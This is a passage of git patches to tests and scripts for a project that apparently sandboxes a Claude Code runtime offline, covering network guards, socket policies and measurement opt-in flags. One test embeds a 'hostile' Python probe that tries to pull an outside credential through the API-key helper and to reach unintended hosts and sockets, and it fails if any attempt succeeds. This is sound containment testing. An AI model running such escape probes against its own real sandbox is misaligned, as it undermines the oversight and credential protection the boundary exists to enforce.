expect(warnings).toEqual([REAL_MEASUREMENT_WARNING]); + }); +} +test("offline measurements install the guard even with unrelated live environment metadata", () => { + for(const input of [{entry:"measure-claude-runtime.ts",argv:[],liveEval:"587"},{entry:"measure-turn-surface-live.ts",argv:[],liveEval:"587_OFFLINE"}]) { + let installs=0,warnings=0; + expect(enterMeasurement(input,{installOffline(){installs++;},warn(){warnings++;}})).toBe("offline"); + expect(installs).toBe(1);expect(warnings).toBe(0); + } +}); +test("every runnable measurement entry admits before runtime dependencies and nested capture shares admission", async () => { + for await (const file of new Bun.Glob("measure-*.ts").scan({cwd:join(ROOT,"scripts")})) { + const source=readFileSync(join(ROOT,"scripts",file),"utf8"); + if(["measure-sonnet55-cost.ts","measure-suggestions.ts","measure-kv-runs.ts"].includes(file)) { + expect(source,file).not.toContain("measurement-entry-preload"); + } else expect(source.split("\n")[0],file).toContain("measurement-entry-preload.ts"); + } + for(const file of ["capture-turn-surface.ts","turn-surface-overlap.ts","show-block-schema-forms.ts"]) + expect(readFileSync(join(ROOT,"scripts",file),"utf8").split("\n")[0]).toContain("measurement-entry-preload.ts"); + const preload=readFileSync(join(ROOT,"scripts/measurement-entry-preload.ts"),"utf8"); + expect(preload).not.toContain("await "); + expect(preload).toContain("installOffline: () => { installNetworkGuard(); }"); + expect(readFileSync(join(ROOT,"scripts/measure-real-provider-dispatch.ts"),"utf8")).toContain('String(prior), "--allow-real-provider"'); + expect(readFileSync(join(ROOT,"scripts/measure-show-block-server.ts"),"utf8")).toContain("...args, ...measurementAuthorizationArgs"); +}); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index a64bc0c735..2bdde93fae 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -95,6 +95,21 @@ test("missing bubblewrap emits a failed receipt and cannot be caught into succes } finally { rmSync(scratch, { recursive: true, force: true }); } }); +test("missing kernel lifetime socket policy refuses before native launch", async () => { + const scratch=mkdtempSync(join(tmpdir(),"odysseus-kernel-policy-")); + try { + const result=await probe(`${imports} + const original=Bun.spawnSync; const which=Bun.which; + Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); + Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:argv[0]?.endsWith("/native-connect")?{exitCode:125,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(original,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + nativeClaudeBoundary(${JSON.stringify(runtime)},[],{});`,scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"reason":"native socket lifetime policy unavailable"'); + expect(result.output).toContain('"nativeLaunched":false'); + } finally { rmSync(scratch,{recursive:true,force:true}); } +}); + test("relay paths cannot redirect headers and body to another loopback service", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-relay-origin-")); let intended = 0, unintended = 0; @@ -148,12 +163,14 @@ test("wrapper exec and auth inspection cannot fabricate native launch or injecte const result = await probe(`${imports} import {writeFileSync} from "node:fs"; const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); const boundary=nativeClaudeBoundary("/usr/bin/unshare",["--user",${JSON.stringify(runtime)},"auth","status","--json"], {cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:"http://127.0.0.1:1"}}); if(boundary.argv[0]!=="/synthetic/strace")throw Error("audit executable was not resolved"); + const broker=boundary.argv.findIndex((arg,i)=>arg.endsWith("/native-connect")&&boundary.argv[i+1]==="--head"); + if(broker<0||!boundary.argv.includes("--device")||!boundary.argv.includes("--inode")||boundary.argv[broker+10]!=="/tmp/native-relay/relay.sock")throw Error("kernel lifetime socket policy was omitted"); const setup=boundary.argv.slice(0,boundary.argv.lastIndexOf("--")); for(let i=0;icommand==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); const key="sk-ant-api03-"+"k".repeat(95)+"AA",token="sk-ant-oat01-"+"o".repeat(95)+"AA",bearer="sk-ant-declared-"+"t".repeat(60); const leave=nativeScriptedService("http://127.0.0.1:1"); @@ -204,7 +221,7 @@ test("fixture PATH tools are mounted selectively without exposing sibling creden import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); nativeScriptedService("http://127.0.0.1:1"); const env={HOME:${JSON.stringify(home)},PATH:${JSON.stringify([bin, scratch, unrelated, "/usr/bin"].join(":"))},USE_BUILTIN_RIPGREP:"0",ENABLE_TOOL_SEARCH:"true",ANTHROPIC_BASE_URL:"http://127.0.0.1:1"}; @@ -234,7 +251,7 @@ test("separate-UID plans trace the broker payload outside its hidden native audi spyOn(launcher,"verifiedWorkerIdentity").mockReturnValue({identity:"separate_uid",workerUid:(process.getuid()||21000)+1}); const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); const leave=nativeScriptedService("http://127.0.0.1:1"); const launch={command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_API_KEY:"offline-fixture"}, @@ -264,7 +281,7 @@ test("the SDK spawn hook retains its scripted authority when invoked from anothe import {nativeScriptedQuery,nativeScriptedService,nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); let hook,worker; const query=nativeScriptedQuery(input=>{hook=input.options.spawnClaudeCodeProcess;return {};},${JSON.stringify(intended.url.origin)}); @@ -287,7 +304,7 @@ test("fixture server callbacks retain authority while creating a native relay", import {nativeScriptedService,nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); const leave=nativeScriptedService("http://127.0.0.1:1");let relay; const app=Bun.serve({hostname:"127.0.0.1",port:0,fetch(){ @@ -311,7 +328,7 @@ test("the installed spawn interceptor receives fixture authority before a synthe import {nativeScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); nativeScriptedService("http://127.0.0.1:1"); const child=Bun.spawn([process.execPath,"-e",${JSON.stringify(bootstrap)}],{env:{HOME:${JSON.stringify(scratch)},BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],env:{HOME:${JSON.stringify(scratch)}},brainPath:${JSON.stringify(scratch)},argv:["bwrap","--",${JSON.stringify(runtime)}]})},stdout:"pipe",stderr:"pipe"}); @@ -342,7 +359,7 @@ test("a hard-link alias retains live guard-owned socket authority and loses it w import {nativeScriptedService,nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); nativeScriptedService("http://127.0.0.1:1"); const source=${JSON.stringify(join(scratch, "source.sock"))},alias=${JSON.stringify(join(scratch, "alias.sock"))}; @@ -488,7 +505,7 @@ test("environment endpoints cannot supply missing scripted authority", async () import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; const original=Bun.spawnSync;const which=Bun.which; Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); - Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(original,Bun,[argv,options])); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(original,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; const env={HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:"http://127.0.0.1:1"}; ${worker ? `nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],env,argv:["bwrap","--",${JSON.stringify(runtime)}]})}).dispose();` : `nativeClaudeBoundary(${JSON.stringify(runtime)},[],{env}).dispose();`}`, scratch); @@ -535,7 +552,7 @@ test("all direct bind sources reject unowned sockets, including PATH, managed se import {mkdirSync,writeFileSync} from "node:fs"; const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; const home=${JSON.stringify(join(scratch, "home"))},cwd=${JSON.stringify(join(scratch, "brain"))}; mkdirSync(home,{recursive:true});mkdirSync(cwd,{recursive:true}); @@ -563,7 +580,7 @@ test("worker device-bind sources cannot expose an unregistered Unix socket", asy import {writeFileSync} from "node:fs"; const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; const socket=${JSON.stringify(join(scratch,"foreign.sock"))}; const server=Bun.serve({unix:socket,fetch:()=>new Response("foreign")}); @@ -624,7 +641,7 @@ test("hostile managed helper and native descendants cannot read an outside crede // backend/provider-history cells under the same preload. const executable = join(brain, "odysseus-native-probe"); writeFileSync(executable, `#!/usr/bin/python3 -import http.client,json,os,socket,subprocess +import http.client,json,os,socket,subprocess,time settings=json.load(open('/etc/claude-code/managed-settings.json')) helper=subprocess.run(settings['apiKeyHelper'],shell=True,capture_output=True) assert helper.returncode != 0 and not helper.stdout, 'outside credential escaped' @@ -640,6 +657,18 @@ for host,port in [('127.0.0.1',${service.port}),('198.18.0.1',1)]: raise RuntimeError('unintended native destination reached') finally: probe.close() +open(os.path.join(os.environ['HOME'],'boundary-ready'),'w').close() +while not os.path.exists(os.path.join(os.environ['HOME'],'late-ready')): + time.sleep(.01) +late=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) +try: + late.connect(os.path.join(os.environ['HOME'],'late-host.sock')) +except OSError: + pass +else: + raise RuntimeError('late host socket escaped') +finally: + late.close() connection=http.client.HTTPConnection('localhost') connection.sock=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) connection.sock.connect(os.environ['ANTHROPIC_UNIX_SOCKET']) @@ -649,12 +678,26 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) `); chmodSync(executable, 0o700); let boundary: ReturnType | undefined; + let lateServer: import("node:net").Server | undefined; + let lateConnections=0; try { boundary = nativeClaudeBoundary(executable, [], { cwd: brain, env: { HOME: home, PATH: bin, USE_BUILTIN_RIPGREP: "0", ANTHROPIC_BASE_URL: service.url.origin }, managedSettings: managed }); const child = Bun.spawn(boundary.argv, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); - const [code, out, err] = await Promise.all([child.exited, new Response(child.stdout).text(), new Response(child.stderr).text()]); + const output=Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + const deadline=Date.now()+10000; + while(!existsSync(join(home,"boundary-ready"))&&child.exitCode===null&&Date.now(){lateConnections++;peer.destroy();}); + await new Promise(resolve=>lateServer!.listen(join(home,"late-host.sock"),resolve)); + writeFileSync(join(home,"late-ready"),"Odysseus"); + const [code,out,err]=await output; expect(code, err).toBe(0); - expect(boundary.receipt().deniedConnects).toBeGreaterThanOrEqual(2); + expect(lateConnections).toBe(0); + expect(err).toContain('"kind":"native-offline-socket-denial"'); + expect(boundary.receipt().deniedConnects).toBeGreaterThanOrEqual(3); + await new Promise(resolve=>lateServer!.close(()=>resolve()));lateServer=undefined; + rmSync(join(home,"late-host.sock"),{force:true}); expect(out).toContain("HOSTILE_MANAGED_BOUNDARY_HELD"); expect(out + err).not.toContain("odysseus-synthetic-credential"); expect(requests).toBe(1); @@ -671,5 +714,5 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) expect(brokenErr).toContain("outside credential escaped"); expect(brokenOut + brokenErr).not.toContain("odysseus-synthetic-credential"); mutationBoundary.dispose(); - } finally { boundary?.dispose(); service.stop(true); rmSync(scratch, { recursive: true, force: true }); } + } finally { lateServer?.close(); boundary?.dispose(); service.stop(true); rmSync(scratch, { recursive: true, force: true }); } }); From 7bc280907a99d0e82784fecd9dc7f258ec255800 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 01:58:50 +0000 Subject: [PATCH 039/187] test: keep documented measurement reproduction behind explicit opt-in --- tests/docs-paths.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/docs-paths.test.ts b/tests/docs-paths.test.ts index 7b2cd3ecdd..42383a9478 100644 --- a/tests/docs-paths.test.ts +++ b/tests/docs-paths.test.ts @@ -138,13 +138,13 @@ describe("documentation paths", () => { const body = readFileSync(join(ROOT, "docs/decisions/design-kit/show-block-brief.md"), "utf8"); const { children } = unified().use(remarkParse).parse(body); const index = children.findIndex((node) => node.type === "code" - && node.value.startsWith("bun scripts/measure-show-block.ts --always-load")); + && node.value.startsWith("bun scripts/measure-show-block.ts --allow-real-provider --always-load")); expect(index).toBeGreaterThanOrEqual(0); const command = children[index]; expect(command?.type).toBe("code"); if (command?.type !== "code") throw new Error("D43 reproduction command missing"); expect(command.lang).toBe("sh"); - expect(command.value).toBe(String.raw`bun scripts/measure-show-block.ts --always-load --reps 3 --only \ + expect(command.value).toBe(String.raw`bun scripts/measure-show-block.ts --allow-real-provider --always-load --reps 3 --only \ compare-short,compare-long,trend,contact,table,steps,quote,bars`); const prose = children[index + 1]; expect(prose?.type).toBe("paragraph"); From 52b814ced317aeb07bc7206f6d6e3787c242761a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 02:27:56 +0000 Subject: [PATCH 040/187] test: classify measurement modes and require successful search witnesses --- docs/decisions/design-kit/follow-ups.md | 6 +++--- .../ui-server/tests/helpers/search-witness.ts | 10 ++++++++++ .../tests/safety-result-retention.test.ts | 13 +++++-------- scripts/measure-real-provider-dispatch.ts | 3 ++- scripts/measurement-entry-preload.ts | 2 +- scripts/measurement-entry.ts | 7 +++++++ tests/measurement-entry.test.ts | 17 +++++++++++++++++ tests/search-witness.test.ts | 16 ++++++++++++++++ 8 files changed, 61 insertions(+), 13 deletions(-) create mode 100644 packages/ui-server/tests/helpers/search-witness.ts create mode 100644 tests/search-witness.test.ts diff --git a/docs/decisions/design-kit/follow-ups.md b/docs/decisions/design-kit/follow-ups.md index 60b12105f8..f5b2003380 100644 --- a/docs/decisions/design-kit/follow-ups.md +++ b/docs/decisions/design-kit/follow-ups.md @@ -162,7 +162,7 @@ Reproduction commands (live commands require authorized API use): ```sh # Keyless estimate and checks. -bun scripts/measure-show-block.ts --allow-real-provider --suggestions --schema-cost +bun scripts/measure-show-block.ts --suggestions --schema-cost bun run test tests/measure-suggestions.test.ts # SDK level: 6 prompts x 2 arms x 3 repetitions = 36 turns. @@ -173,8 +173,8 @@ bun scripts/measure-show-block.ts --allow-real-provider --suggestions --tokens # Copies live outside any checkout and home directory and are indexed first. bun scripts/measure-show-block-server.ts --allow-real-provider --suggestions --brain --backend claude --model claude-sonnet-5-5 --runs 3 --out claude.json bun scripts/measure-show-block-server.ts --allow-real-provider --suggestions --brain --backend pi --vendor anthropic --model claude-sonnet-5-5 --runs 3 --out pi.json -bun scripts/measure-show-block-server.ts --allow-real-provider --report claude.json -bun scripts/measure-show-block-server.ts --allow-real-provider --report pi.json +bun scripts/measure-show-block-server.ts --report claude.json +bun scripts/measure-show-block-server.ts --report pi.json ``` > **2026-10-10 — Implementation context (the keyless check above).** That test diff --git a/packages/ui-server/tests/helpers/search-witness.ts b/packages/ui-server/tests/helpers/search-witness.ts new file mode 100644 index 0000000000..6557c7affb --- /dev/null +++ b/packages/ui-server/tests/helpers/search-witness.ts @@ -0,0 +1,10 @@ +/** Shell fixture: a match is witnessed only after successful search completion. */ +export function searchWitnessScript(rg: string, marker: string, status: string, holdSeconds = 3): string { + const quote = (value: string) => "'" + value.replaceAll("'", "'\\''") + "'"; + return `#!/bin/sh +case " $* " in + *" sirens "*) ${quote(rg)} "$@"; code=$?; printf '%s\\n' "$code" > ${quote(status)}; if [ "$code" -eq 0 ]; then : > ${quote(marker)}; sleep ${holdSeconds}; fi; exit "$code";; + *) exec ${quote(rg)} "$@";; +esac +`; +} diff --git a/packages/ui-server/tests/safety-result-retention.test.ts b/packages/ui-server/tests/safety-result-retention.test.ts index 107bd7964a..d9059ad17f 100644 --- a/packages/ui-server/tests/safety-result-retention.test.ts +++ b/packages/ui-server/tests/safety-result-retention.test.ts @@ -1,3 +1,4 @@ +import {searchWitnessScript} from "./helpers/search-witness"; import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; /** A tool result that reaches the host already exists in the runtime's own * session: the installed Claude runtime replays it on resume. So its record @@ -8,7 +9,7 @@ import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; * still owing it when the collection ends is a gap. Installed Claude, a * scripted loopback model and the real host ledger; no key, no network. */ import {expect,test} from "bun:test"; -import {chmodSync,existsSync,mkdirSync,mkdtempSync,rmSync,symlinkSync,writeFileSync} from "node:fs"; +import {chmodSync,existsSync,mkdirSync,mkdtempSync,readFileSync,rmSync,symlinkSync,writeFileSync} from "node:fs"; import {createRequire} from "node:module"; import {join} from "node:path"; import {tmpdir} from "node:os"; @@ -70,12 +71,8 @@ async function voyageHome(interruption:Interruption,check:(f:{db:ReturnType '${searched}'; sleep 3; exit "$code";; - *) exec '${rg}' "$@";; -esac -`);chmodSync(join(bin,"rg"),0o755); + const searchStatus=join(home,"sirens-status"); + writeFileSync(join(bin,"rg"),searchWitnessScript(rg,searched,searchStatus));chmodSync(join(bin,"rg"),0o755); const db=createUiDb(join(root,"ui.db")),writer=openSqliteWriter(db),writes=createGovernanceWrites(db,writer); holdSafetyRecovery(db); // Each turn's provider requests, as the loopback model received them. @@ -169,7 +166,7 @@ esac try{ const first=await voyage("voyage",null,true); expect(version,"SAFETY_ACTUAL_INSTALLED_RUNTIME").toBe(MEASURED_RUNTIME.claudeCode); - if(interruption==="running"||interruption==="duplicate"||interruption==="retooled")expect(existsSync(searched),"SAFETY_ACTUAL_SEARCH_RAN").toBe(true); + if(interruption==="running"||interruption==="duplicate"||interruption==="retooled"){ expect(existsSync(searched),"SAFETY_ACTUAL_SEARCH_RAN").toBe(true); expect(readFileSync(searchStatus,"utf8").trim(),"SAFETY_SEARCH_EXIT_STATUS").toBe("0"); } if(interruption!=="denied")expect(first.aborted,"SAFETY_INTERRUPTED_RESULT_STOPS_ITS_TURN").toBe(true); expect(runtimeSession,"SAFETY_RUNTIME_SESSION_TO_RESUME").toBeDefined(); turn=1; diff --git a/scripts/measure-real-provider-dispatch.ts b/scripts/measure-real-provider-dispatch.ts index b63c06d194..70502cf09b 100644 --- a/scripts/measure-real-provider-dispatch.ts +++ b/scripts/measure-real-provider-dispatch.ts @@ -153,6 +153,7 @@ async function server(name: ProfileName, root: string, mode: "dry" | "live", pri return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); } + const releaseScripted = fixture ? (await import("./test-native-guard")).nativeScriptedService(new URL(fixture.url).origin) : undefined; const upstream = fixture ? `http://127.0.0.1:${fixture.port}` : PROVIDER; if (profile.adapter === "pi" && fixture) writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: upstream } } })); @@ -387,7 +388,7 @@ async function server(name: ProfileName, root: string, mode: "dry" | "live", pri ...(fixture ? { fixture: { maxTokens: fixtureMaxTokens, serverCredentialInjected: injected } } : {}), }; writeFileSync(join(root, "receipt.json"), JSON.stringify(receipt, null, 2) + "\n"); - listener.stop(true); await app.close(); fixture?.stop(true); + listener.stop(true); await app.close(); fixture?.stop(true); releaseScripted?.(); rmSync(join(root, "pi-sessions"), { recursive: true, force: true }); process.exit(0); } diff --git a/scripts/measurement-entry-preload.ts b/scripts/measurement-entry-preload.ts index f8363981c2..6cc0b23f17 100644 --- a/scripts/measurement-entry-preload.ts +++ b/scripts/measurement-entry-preload.ts @@ -15,4 +15,4 @@ export const measurementAdmission = enterMeasurement({ entry, argv: process.argv // Keep existing command parsers unchanged after the explicit flag is consumed. export const measurementAuthorizationArgs = measurementAdmission === "live" && process.argv.includes("--allow-real-provider") ? ["--allow-real-provider"] : []; -if (measurementAuthorizationArgs.length) process.argv = process.argv.filter(arg => arg !== "--allow-real-provider"); +if (process.argv.includes("--allow-real-provider")) process.argv = process.argv.filter(arg => arg !== "--allow-real-provider"); diff --git a/scripts/measurement-entry.ts b/scripts/measurement-entry.ts index 073b0f9338..c9d29d4f49 100644 --- a/scripts/measurement-entry.ts +++ b/scripts/measurement-entry.ts @@ -4,6 +4,13 @@ const protocol587 = new Set(["measure-turn-surface-live.ts", "measure-turn-surfa const liveFlag = new Set(["measure-show-block.ts", "measure-show-block-server.ts", "measure-real-provider-dispatch.ts", "measure-pi-schema.ts", "measure-sync-judge.ts"]); export const REAL_MEASUREMENT_WARNING = "REAL-PROVIDER MEASUREMENT: provider access and charges are authorized; this is not offline test proof."; export function measurementMode(input: MeasurementEntryInput): "live" | "offline" { + const has = (flag: string) => input.argv.includes(flag); + const offline = input.entry === "measure-show-block.ts" && has("--suggestions") && has("--schema-cost") + || input.entry === "measure-show-block-server.ts" && (has("--inspect-suggestions") || has("--report")) + || input.entry === "measure-real-provider-dispatch.ts" && (input.argv[0] === "--server" ? input.argv[3] === "dry" : has("--dry-run")) + || input.entry === "measure-turn-surface-live.ts" && (has("--offline") || input.liveEval === "587_OFFLINE"); + // Mode takes precedence over ambient authorization: local work stays guarded. + if (offline) return "offline"; if (protocol587.has(input.entry)) { if (input.liveEval === "587") return "live"; if (input.entry === "measure-turn-surface-live.ts" && input.liveEval === "587_OFFLINE") return "offline"; diff --git a/tests/measurement-entry.test.ts b/tests/measurement-entry.test.ts index 4e12eb347f..fa99b947a8 100644 --- a/tests/measurement-entry.test.ts +++ b/tests/measurement-entry.test.ts @@ -36,3 +36,20 @@ test("every runnable measurement entry admits before runtime dependencies and ne expect(readFileSync(join(ROOT,"scripts/measure-real-provider-dispatch.ts"),"utf8")).toContain('String(prior), "--allow-real-provider"'); expect(readFileSync(join(ROOT,"scripts/measure-show-block-server.ts"),"utf8")).toContain("...args, ...measurementAuthorizationArgs"); }); +for (const [entry, argv] of [ + ["measure-show-block.ts", ["--suggestions", "--schema-cost"]], + ["measure-show-block-server.ts", ["--report", "saved.json"]], + ["measure-show-block-server.ts", ["--inspect-suggestions"]], + ["measure-real-provider-dispatch.ts", ["claude", "--dry-run"]], + ["measure-real-provider-dispatch.ts", ["--server", "claude", "/tmp/ithaca", "dry", "0"]], + ["measure-turn-surface-live.ts", ["--offline"]], +] as const) test(`${entry} ${argv.join(" ")} stays offline with or without authorization`, () => { + for (const authorized of [false,true]) { + let installs=0,warnings=0; + expect(enterMeasurement({entry,argv:[...argv,...(authorized?["--allow-real-provider"]:[])],liveEval:authorized?"587":undefined}, + {installOffline(){installs++;},warn(){warnings++;}})).toBe("offline"); + expect(installs).toBe(1);expect(warnings).toBe(0); + } +}); +for(const [entry,argv] of [["measure-show-block.ts",["--tokens"]],["measure-show-block.ts",["--suggestions","--tokens"]],["measure-show-block-server.ts",["--classify"]],["measure-real-provider-dispatch.ts",["--server","claude","/tmp/ithaca","live","0","--dry-run"]]] as const) + test(`${entry} ${argv.join(" ")} requires live 